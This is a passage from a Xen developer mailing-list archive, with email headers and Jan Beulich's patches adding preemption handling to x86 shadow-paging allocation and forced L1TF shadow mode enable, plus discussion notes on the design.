Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Tim Deegan <tim@xen.org>
References: <68c16600-a4bf-4060-a1fc-56c4ae655b03@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 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7bit
X-purgate-ID: tlsNG-ebf023/1785248600-C2AC8B50-467A7E34/0/0
X-purgate-type: clean
X-purgate-size: 6503

Their calls to shadow_set_allocation() are the last missing piece.

While it may seem a little odd, it actually turns out easier to deal
with the continuation a level up from where the need for it was first
recognized.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
I think the point was raised before: It's questionable whether
shadow_one_bit_enable(), upon error, should bring the allocation back
down to zero. This is going to be especially bad for a domain which
previously had shadow enabled already (which could be HVM or L1TF-
affected PV). Even in shadow_one_bit_disable() it's not clear this is
the best possible behavior - the pool may have been set to something
larger than the default by the admin. For now I'm maintaining prior
behavior, but of course things would end up simpler if we could just get
rid of those set-to-zero operations (and then perhaps also on
shadow_enable()'s similar error path); the possible caveat there would
be that overall memory consumption may then appear to grow for people
monitoring a system.

Originally I was considering to further qualify the
d->arch.paging.preempt.drop_allocation checks by passing further down
the "resuming" flag, but for a well-behaved tool stack (which allows one
shadow-op to finish before starting another one) there shouldn't be a
difference. Thoughts?
---
v14: New.

--- a/xen/arch/x86/include/asm/domain.h
+++ b/xen/arch/x86/include/asm/domain.h
@@ -236,6 +236,7 @@ struct paging_domain {
     struct {
         const struct domain *dom;
         unsigned int op;
+        bool drop_allocation:1;
         union {
             struct {
                 unsigned long done:PADDR_BITS - PAGE_SHIFT;
--- a/xen/arch/x86/mm/paging.c
+++ b/xen/arch/x86/mm/paging.c
@@ -215,9 +215,10 @@ static int paging_log_dirty_enable(struc
 
     paging_lock(d);
 
-    if ( d->arch.paging.preempt.dom &&
-         (d->arch.paging.preempt.dom != current->domain ||
-          d->arch.paging.preempt.op != op) )
+    if ( !d->arch.paging.preempt.dom )
+        d->arch.paging.preempt.drop_allocation = false;
+    else if ( d->arch.paging.preempt.dom != current->domain ||
+              d->arch.paging.preempt.op != op )
     {
         paging_unlock(d);
         if ( !resuming )
@@ -259,9 +260,10 @@ static int paging_log_dirty_disable(stru
 
     paging_lock(d);
 
-    if ( d->arch.paging.preempt.dom &&
-         (d->arch.paging.preempt.dom != current->domain ||
-          d->arch.paging.preempt.op != XEN_DOMCTL_SHADOW_OP_OFF) )
+    if ( !d->arch.paging.preempt.dom )
+        d->arch.paging.preempt.drop_allocation = false;
+    else if ( d->arch.paging.preempt.dom != current->domain ||
+              d->arch.paging.preempt.op != XEN_DOMCTL_SHADOW_OP_OFF )
     {
         paging_unlock(d);
         if ( !resuming )
--- a/xen/arch/x86/mm/shadow/common.c
+++ b/xen/arch/x86/mm/shadow/common.c
@@ -2440,12 +2440,22 @@ static int shadow_one_bit_enable(struct
 
     if ( d->arch.paging.total_pages < sh_min_allocation(d) )
     {
+        bool preempted = false;
+
         /* Init the shadow memory allocation if the user hasn't done so */
-        if ( shadow_set_allocation(d, 1, NULL) != 0 )
+        if ( shadow_set_allocation(d, 1,
+                                   mode & PG_log_dirty ? &preempted
+                                                       : NULL) != 0 )
         {
-            shadow_set_allocation(d, 0, NULL);
-            return -ENOMEM;
+            shadow_set_allocation(d, 0,
+                                  mode & PG_log_dirty ? &preempted : NULL);
+            if ( !preempted )
+                return -ENOMEM;
+            d->arch.paging.preempt.drop_allocation = true;
         }
+
+        if ( preempted )
+            return -ERESTART;
     }
 
     /* Allow p2m and log-dirty code to borrow shadow memory */
@@ -2484,6 +2494,8 @@ static int shadow_one_bit_disable(struct
     sh_new_mode(d, mode);
     if ( d->arch.paging.mode == 0 )
     {
+        bool preempted = false;
+
         /* Get this domain off shadows */
         SHADOW_PRINTK("un-shadowing of domain %u starts."
                        "  Shadow pages total = %u, free = %u, p2m=%u\n",
@@ -2511,8 +2523,16 @@ static int shadow_one_bit_disable(struct
         }
 
         /* Pull down the memory allocation */
-        if ( shadow_set_allocation(d, 0, NULL) != 0 )
+        if ( shadow_set_allocation(d, 0,
+                                   mode & PG_log_dirty ? &preempted
+                                                       : NULL) != 0 )
             BUG(); /* In fact, we will have BUG()ed already */
+        if ( preempted )
+        {
+            d->arch.paging.preempt.drop_allocation = true;
+            return -ERESTART;
+        }
+
         shadow_hash_teardown(d);
         SHADOW_PRINTK("un-shadowing of domain %u done."
                        "  Shadow pages total = %u, free = %u, p2m=%u\n",
@@ -2558,14 +2578,20 @@ static int shadow_test_disable(struct do
  */
 static int cf_check sh_enable_log_dirty(struct domain *d)
 {
+    bool preempted = false;
     int ret;
 
     ASSERT(paging_locked_by_me(d));
 
-    if ( shadow_mode_enabled(d) )
+    if ( d->arch.paging.preempt.drop_allocation )
     {
-        bool preempted = false;
+        shadow_set_allocation(d, 0, &preempted);
 
+        return preempted ? -ERESTART : -ENOMEM;
+    }
+
+    if ( shadow_mode_enabled(d) )
+    {
         /*
          * This domain already has some shadows: need to clear them out
          * of the way to make sure that all references to guest memory are
@@ -2598,6 +2624,21 @@ static int cf_check sh_disable_log_dirty
 
     ASSERT(paging_locked_by_me(d));
 
+    if ( d->arch.paging.preempt.drop_allocation )
+    {
+        shadow_set_allocation(d, 0, &preempted);
+
+        if ( preempted )
+            return -ERESTART;
+
+        shadow_hash_teardown(d);
+        SHADOW_PRINTK("un-shadowing of domain %u done."
+                       "  Shadow pages total = %u, free = %u, p2m=%u\n",
+                       d->domain_id, d->arch.paging.total_pages,
+                       d->arch.paging.free_pages, d->arch.paging.p2m_pages);
+        return 0;
+    }
+
     /*
      * Limit the amount of work to do from sh_detach_old_tables() (called from
      * shadow_one_bit_disable() via sh_new_mode() -> sh_update_paging_modes()),



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:24:32 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:24:32 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374418.1621575 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woijO-0005Cw-LT; Tue, 28 Jul 2026 14:24:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374418.1621575; Tue, 28 Jul 2026 14:24:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woijO-0005Cn-Io; Tue, 28 Jul 2026 14:24:30 +0000
Received: by outflank-mailman (input) for mailman id 1374418;
 Tue, 28 Jul 2026 14:24:29 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woijN-0005Cf-KW
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:24:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woijM-00F1g5-UP
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 16:24:28 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68bb95-2eae-0a2a0a5409dd-0a2a450bb4fa-18
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:24:28 +0200
Received: from [209.85.221.49] (helo=mail-wr1-f49.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68bb9c-b7e8-0a2a450b0019-d155dd31a402-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:24:28 +0200
Received: by mail-wr1-f49.google.com with SMTP id
 ffacd0b85a97d-4758bd3731bso970106f8f.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:24:28 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85c7880dsm58999551f8f.37.2026.07.28.07.24.27
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 07:24:27 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785248668; x=1785853468; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=3lzZ7GYxAZkVGEZUpJdPRfH1NuosiuFuGkMMzSnec4o=;
        b=CH7/s/3o7uf7KReGiZ9e0vkmQdCS/HSAfL91+oPm2FmGXcbpXJXgDQsfzbnoCNBQ5k
         d0ouMlHRiZMtFXIdew75JHvu2Ani2Ovy5BloCmRmc2UxdECQd8CuZ1C994fHbQ2FQtip
         tWz3nRdxcmgBCWEREMh8be0wAoy4kSQvsBS6Y4oeBbTxC9R7QQvasZaNKsJnGtEAwFl8
         e7DYt5F2/LgEY3cFf/AT7Kk45q8+QbT70CONUmaN+jOe6e8gU+YeRWnImD8bd9es8Ad7
         vSqyF9ktHU3bMIfsbkqQcvXOIhQE/Mj0vJOYTkYtW8ZKhzlLEXb944TJBf8N5kctUKC8
         M2YA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785248668; x=1785853468;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=3lzZ7GYxAZkVGEZUpJdPRfH1NuosiuFuGkMMzSnec4o=;
        b=BL+heQHICeFH+R2GjvP9c9ryHHBzA2xZbjYuQJcHv3pGGZa4eqHYQGRDMhDdvT+p4/
         7vTN7UabheyDwNn8nFPuCBsFmLcBJ8YY3a12cLEMYySIeNX463ztiadwM/lVTa/P2Ds8
         0U2SLkU6pI/nlov9KU3obv0bM5ByLG6UVUa/NFDE+QdYWD0zNb9s8Pipb+HVDlMt8oSk
         xevUcWvao75/fnaj79bIp7sGUALq/siMbgL3b8kMuS58GUfgxCJPrO8hmwUaOY9fyPOv
         HNTW3MdqtanTJF4nkas7RP4iu0GQJ12jN8ino6NWAMtS454Ej+iBDamMd8zVtgxAURbL
         0A8A==
X-Gm-Message-State: AOJu0YxNTOGz8yGn90s1QnUFkEAl8j1qHVr2T2K4+RLHbK8isZTIjUXM
	llLdOOOpVtOXU3dtUzDqQQC0AIs9w+DAeZyh38stap9xp0dtF24FQLTk8JFoFV4uQzpbkM/pCEb
	Uav/How==
X-Gm-Gg: AR+sD11jLz22tZrByJVaUMvTEUB98+7R0gazqB8iuKg/bOIOzLMSM6ccO1fBZwgzK8D
	liEaqwz7/XRuk0BipxDEFTHOS+TpvuDMkbld9cPsYK2LxUP7b5VXMqaW1GIo0bassYpkED6D/w/
	+I6N2rNaxl+KVR4Q/dEvxrjBC9EXCY4yU7CK2+vZCyoL9l+e8re2234g5C3vshu2wshxF39N601
	oRIHQ0XMJO3pv9urf89ITBcNVpBEI7ui5bQ14y1vzp7tc+8rKPjplyJZhu75ZILhMRNXJKMYuSY
	b4tA6U0fkusfWJMRONgNXCmXq912ox6TpnNtli64u0M2r/aKmhB8Cd7ta3tpBJhbmuSh7h9sbcB
	kRhf4cI/PTE1h8i5KOGy/Aj3y/qI/7f8xHjnmjPVhpTLJoFieyuPbnOaBkZp+SgojbRjPUWfg0b
	CeXWrcLg8KVdySYTjMVcZTv5KTCsfFwCwURKcOGjEA4ON1nsp1fXuJN6Mhp1P1lIGNEw==
X-Received: by 2002:adf:e19c:0:b0:47f:8282:42be with SMTP id ffacd0b85a97d-47fb1ecacaamr3144645f8f.18.1785248668204;
        Tue, 28 Jul 2026 07:24:28 -0700 (PDT)
Message-ID: <0798cafd-50e9-4910-990e-37c64bfa59aa@suse.com>
Date: Tue, 28 Jul 2026 16:24:27 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v15 09/10] x86/shadow: make forced (L1TF) mode enable properly
 preemptable
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Tim Deegan <tim@xen.org>
References: <68c16600-a4bf-4060-a1fc-56c4ae655b03@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3N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nwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <68c16600-a4bf-4060-a1fc-56c4ae655b03@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1785248668-A8AC89EA-1A344F84/0/0
X-purgate-type: clean
X-purgate-size: 5979

Like for log-dirty enable/disable, reduce the amount of work to do
underneath sh_new_mode() by calling shadow_blow_tables() (which is
properly preemptable) up front. shadow_set_allocation() possibly taking
long also is handled similar to log-dirty enable.

Since this code runs inside a tasklet, carrying out preemption isn't
straightforward; see the code comment.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
The single-CPU case could of course do with improvement. Plus even on
multi-CPU systems there will still be problems if there are enough
domains all being switched to shadow mode at roughly the same time.

Interaction with other shadow-op preemption is a little rough: Any
attempt to issue a shadow-op (other than get-allocation) will result in
-EBUSY while the operation here is still in progress.

Notes from discussion:
- if there weren't certain special situations (realtime scheduling requirements, null scheduler,
  vCPU pinning), simply handling softirqs _only_ in the tasklet might be okay
- instead of doing shadow_blow_tables() and shadow_set_allocation() from the tasklet, we may be
  able to arrange doing that in the context of the initiating vCPU (with all other vCPU-s paused),
  scheduling the tasklet only once done, and making sure we don't fully exit back to guest context
  in the process (but enough to allow scheduling to occur) [Could we have paravirt_ctxt_switch_to()
  schedule a softirq-tasklet for VMs in transitional state, which then does the work?]
---
v14: New.

--- a/xen/arch/x86/include/asm/domain.h
+++ b/xen/arch/x86/include/asm/domain.h
@@ -237,6 +237,7 @@ struct paging_domain {
         const struct domain *dom;
         unsigned int op;
         bool drop_allocation:1;
+        bool pv_l1tf_paused:1;
         union {
             struct {
                 unsigned long done:PADDR_BITS - PAGE_SHIFT;
--- a/xen/arch/x86/mm/shadow/common.c
+++ b/xen/arch/x86/mm/shadow/common.c
@@ -18,6 +18,7 @@
 #include <xen/domain_page.h>
 #include <xen/guest_access.h>
 #include <xen/keyhandler.h>
+#include <xen/softirq.h>
 #include <asm/event.h>
 #include <asm/page.h>
 #include <asm/current.h>
@@ -2444,11 +2445,11 @@ static int shadow_one_bit_enable(struct
 
         /* Init the shadow memory allocation if the user hasn't done so */
         if ( shadow_set_allocation(d, 1,
-                                   mode & PG_log_dirty ? &preempted
-                                                       : NULL) != 0 )
+                                   mode & ~PG_SH_enable ? &preempted
+                                                        : NULL) != 0 )
         {
             shadow_set_allocation(d, 0,
-                                  mode & PG_log_dirty ? &preempted : NULL);
+                                  mode & ~PG_SH_enable ? &preempted : NULL);
             if ( !preempted )
                 return -ENOMEM;
             d->arch.paging.preempt.drop_allocation = true;
@@ -2785,22 +2786,80 @@ void shadow_audit_tables(struct vcpu *v)
 void cf_check pv_l1tf_tasklet(void *data)
 {
     struct domain *d = data;
+    int ret = 0;
 
-    domain_pause(d);
+    /* Lock-less read is okay: The field is only written inside this tasklet. */
+    if ( !d->arch.paging.preempt.pv_l1tf_paused )
+        domain_pause(d);
     paging_lock(d);
 
-    if ( !paging_mode_sh_forced(d) && !d->is_dying )
+    while ( !paging_mode_sh_forced(d) && !d->is_dying )
     {
-        int ret = shadow_one_bit_enable(d, PG_SH_forced);
+        bool preempted = false;
+        unsigned int cpu, next;
 
-        if ( ret )
+        if ( !d->arch.paging.preempt.dom )
+        {
+            d->arch.paging.preempt.dom = dom_xen;
+            d->arch.paging.preempt.drop_allocation = false;
+        }
+
+        if ( unlikely(d->arch.paging.preempt.dom != dom_xen) )
+        {
+            /* Wait for other continuation to finish. */
+        }
+        else if ( unlikely(d->arch.paging.preempt.drop_allocation) )
         {
-            printk(XENLOG_G_ERR "d%d Failed to enable PG_SH_forced: %d\n",
-                   d->domain_id, ret);
-            domain_crash(d);
+            ret = -ENOMEM;
+            shadow_set_allocation(d, 0, &preempted);
+            if ( !preempted )
+                break;
         }
+        else
+        {
+            /*
+             * Limit the amount of work to do from sh_detach_old_tables()
+             * (called from shadow_one_bit_enable() via sh_new_mode() ->
+             * sh_update_paging_modes()), such that it doesn't also need to
+             * deal with preemption checks.
+             */
+            shadow_blow_tables(d, &preempted);
+            if ( !preempted &&
+                 (ret = shadow_one_bit_enable(d, PG_SH_forced)) != -ERESTART )
+                break;
+        }
+
+        d->arch.paging.preempt.pv_l1tf_paused = true;
+        paging_unlock(d);
+
+        /*
+         * Crude "preemption" of a tasklet: To avoid hogging the local CPU,
+         * re-schedule the tasklet on another one. Unless of course there
+         * is none, in which case we will simply continue here.
+         */
+        cpu = smp_processor_id();
+        next = cpumask_cycle(cpu, &cpu_online_map);
+        if ( next != cpu )
+        {
+            tasklet_schedule_on_cpu(&d->arch.paging.shadow.pv_l1tf_tasklet,
+                                    next);
+            return;
+        }
+
+        process_pending_softirqs();
+        paging_lock(d);
+    }
+
+    if ( ret )
+    {
+        printk(XENLOG_G_ERR "%pd: Failed to enable PG_SH_forced: %d\n",
+               d, ret);
+        domain_crash(d);
     }
 
+    d->arch.paging.preempt.dom = NULL;
+    d->arch.paging.preempt.drop_allocation = false;
+    d->arch.paging.preempt.pv_l1tf_paused = false;
     paging_unlock(d);
     domain_unpause(d);
 }



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:24:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:24:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374421.1621585 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woiji-0005Zt-Tk; Tue, 28 Jul 2026 14:24:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374421.1621585; Tue, 28 Jul 2026 14:24:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woiji-0005Zl-PW; Tue, 28 Jul 2026 14:24:50 +0000
Received: by outflank-mailman (input) for mailman id 1374421;
 Tue, 28 Jul 2026 14:24:49 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woijh-0005YJ-IM
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:24:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woijg-00Ee9J-VP
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 16:24:48 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68bb93-bab6-0a2a0a5309dd-0a2a4505ca28-42
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:24:48 +0200
Received: from [209.85.128.51] (helo=mail-wm1-f51.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68bbb0-4cb1-0a2a45050019-d1558033ecff-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:24:48 +0200
Received: by mail-wm1-f51.google.com with SMTP id
 5b1f17b1804b1-4954dff6536so27618075e9.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:24:48 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85b9a64dsm64542593f8f.1.2026.07.28.07.24.47
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 07:24:47 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785248688; x=1785853488; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=MDGxnQq9Xo0BHzcriwVqTJe+L979oWo8O6l6vHLNF/M=;
        b=APhgNz0mnimzYWh1zBtPx6kIMPnOSrOM7oyVI1PHBzBx2AO6eZmoOPb4dwbIkxggqs
         kji3ljPbWK4Wu4k7wyG2txzjTvyriGbfJJiGOnTwVlVunQRfzxlEIfiZzk6WXk6OdpQi
         kcBSvXMPW7W2BXqxeatcXxHKhdZcMzn50Q3gvWvDMajMjZKImiOOWwiBoAejtXKEC791
         SIc8Z7MFoc7s+vg1Xy3SgHmj0W5VcWYlqtDT4SFe9rwJ0XnUJmwDludWW4O8i37v1ORC
         PalkQQujxF/4XKXb4OfVzQrbEBantkACRIIE8G6rho2CFy2ihG2sqxpqGBYF7xdHaHN4
         t4Ag==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785248688; x=1785853488;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=MDGxnQq9Xo0BHzcriwVqTJe+L979oWo8O6l6vHLNF/M=;
        b=Kn9soMkf58G8p9XuLkU0XBDS767nJP86xNZwOxp4irYxGPzgxg7vye7wlSaR9M0Skx
         GNEcckszghr3TUaXSv35QumJiEvggyAlffbcZRzi8xqyk7HGcoZAWzSLY3OaUkRPh4Ym
         JKPJ/YcIWvV/IXGcdWpXtkuWbtLDlC8pWglSwqIootwkwkqQQOHpRNYtZs/3FggYq2PZ
         DiHYfUrbJNF+8+s5cwOERYUkCeGkB6u6xnCp71EIwC2NYXZqjrnvv5OizATCPzkL8m1g
         q+rVe9u0M0azWmOnnch+b32Q5aCLSEKuRnxw5zVwokuACIb2g1PvgvYOIw5Hnsfz1Xl4
         vdTg==
X-Gm-Message-State: AOJu0YxByfv42nUqmZ0d/oW1zOUYCj04iIp+5tf4SwijdDrbeLGQPmEO
	rqFqH6WgXuUqYOTYy1/cfrnHlzt5DoFbdcmWnh1i0tFb6vvFzYIiPDo4VSIBS6wM6d5p+HT1D6C
	m6NoFOg==
X-Gm-Gg: AR+sD12FZXOheL5m1M/nwrG9LSAciN2NWUiO1jIHuHY9OvXtk8dymO2rYF3nmBZX04T
	CsXeWho5S2dqjaXXvXkhvQ5iWfZYTpAknT0AL8ZngI86d5U3fCM8ejK9X2RLtfeq9KiiSDfIRyt
	mIFoyEyuycR14UT5MgxFKz82EPQBW3/2oqgV/lXZL+heAQ+4t7j4aE8J11LMVSlxfH/c4s+i13u
	JPbwfWC67qyWe+5XZ7xqdfJLprSlhD+b9f7OGEgBdE2JcFObFjnhoToxUGuPFESYdoGNO68QNta
	YmVf7G13XaaTogpPPdyQmjdgeBCB82VIN2mdwXxufJlgeegVFWcqhd3Dj1voH7pekJrlFgkLjKs
	qrAK+qO1yMUSMCa/qVnTvIisGE1LjEgCD+WBiFrIPhic1DzzjbD3UVi3I+6d6n+S/fW/VFHXDTS
	pFIuU9sQ96jRJLbyq5Vq+hoYLpgMBFSopfr7k3AxdUlyUmf+IVyh7xdAQM39XOYXFEyQ==
X-Received: by 2002:a05:600c:3b14:b0:492:3e69:a86f with SMTP id 5b1f17b1804b1-496c6426375mr29663455e9.1.1785248688238;
        Tue, 28 Jul 2026 07:24:48 -0700 (PDT)
Message-ID: <c8e80bd0-cb7e-4885-82eb-6e747467da73@suse.com>
Date: Tue, 28 Jul 2026 16:24:47 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v15 10/10] x86/shadow: limit the number of pages which may be
 in use as shadows
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Tim Deegan <tim@xen.org>
References: <68c16600-a4bf-4060-a1fc-56c4ae655b03@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
